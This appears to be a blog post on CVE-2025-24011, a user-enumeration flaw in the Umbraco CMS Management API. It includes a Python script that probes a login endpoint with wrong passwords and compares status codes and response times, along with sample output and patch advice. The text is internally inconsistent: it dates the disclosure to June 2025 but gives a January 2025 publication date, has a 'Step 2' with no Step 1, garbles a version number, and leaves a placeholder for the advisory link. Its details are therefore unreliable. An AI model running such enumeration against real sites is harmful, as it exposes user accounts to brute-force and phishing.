In June 2025, a new vulnerability has been disclosed for the Umbraco .NET content management system (CMS), tracked as CVE-2025-24011. This issue affects all releases of Umbraco version 14.. up to, but not including, 14.3.2 and 15.1.2. If unpatched, attackers can determine if specific user accounts exist by observing subtle differences in the Management API’s response codes and response times. This post gives you a hands-on, exclusive breakdown of how this works, a proof-of-concept (PoC) demo, and guidance on mitigation.

What is Umbraco?

Umbraco is a popular, open source CMS built in .NET. Companies use Umbraco to build and maintain dynamic sites, often with backend management features. If you manage a website with user or admin logins on Umbraco, you need to pay close attention.

Vulnerability Overview

CVE-2025-24011 arises from a lack of uniform response handling during authentication or user query actions on the Umbraco Management API. Specifically:

The API responds differently depending on whether or not a user account exists.

- Differences might be in HTTP status codes (e.g., 404 Not Found for missing users, 400 or 403 for bad password), or even just slightly different response times.

Attackers can automate requests and analyze results to enumerate valid usernames or emails.

This is an information disclosure vulnerability, which can be a stepping stone to targeted attacks (brute-force, phishing, social engineering).

Typical management API endpoints look like

POST /umbraco/management/api/v1/user/login

or

GET /umbraco/management/api/v1/user/exists?username=username@example.com

Step 2: Send Test Requests

The attacker sends requests to the API, changing only the username/email parameter. By analyzing either the status code or the response time (using automated scripts), they detect the presence of user accounts.

Example Python Script

Below is a simplified Python example showing how an attacker could enumerate users. (Never use for unauthorized testing.)

import requests
import time

API_URL = 'https://targetsite.com/umbraco/management/api/v1/user/login';

usernames = [
    'admin@example.com',
    'john.smith@example.com',
    'fakeuser@example.com'
]

for username in usernames:
    payload = {"username": username, "password": "wrongpassword"}
    start = time.time()
    resp = requests.post(API_URL, json=payload)
    elapsed = time.time() - start
    print(f"{username}: Status {resp.status_code}, Time {elapsed:.3f}s")

What to Look For

- If admin@example.com returns quickly with a 400, and fakeuser@example.com returns slower with a 404, you’ve probably found a real account.
- Even if codes are the same, differences in response times (e.g., hashing checks on valid accounts) often mark real users.

Example output

admin@example.com: Status 400, Time .210s
john.smith@example.com: Status 400, Time .205s
fakeuser@example.com: Status 404, Time .090s

Clear pattern! Attackers can automate this across thousands of potential emails.

References

- Umbraco Security Advisory (CVE-2025-24011) *(add actual advisory link when published)*
- CVE Record at MITRE
- Umbraco release notes

Remediation

The Fix:
Patch to Umbraco 14.3.2 or 15.1.2 immediately. These releases adjust response handling so that all cases (exist/not-exist) look the same to outsiders.

No known workarounds. You must upgrade to a safe version to fully address this.

- Upgrade instructions: Umbraco Docs - Upgrading

What Does This Mean For You?

- Attackers can enumerate your users with automated tools. This is a common precursor to brute-force attacks or phishing.
- Your user database mapping (usernames/emails) isn’t secret anymore if attackers know your endpoint.

Closing

CVE-2025-24011 is a real-world reminder: sometimes, even tiny differences in API behaviors let attackers crack the surface. Umbraco admins, patch immediately and monitor logs for any unusual activity!

Stay secure.

> *This article is exclusive and written in clear American English by an independent author. Always test in authorized environments. For questions or further info, check official Umbraco Security Advisories and the links above.*

Timeline

Published on: 01/21/2025 16:15:14 UTC
Last modified on: 02/20/2025 16:44:29 UTC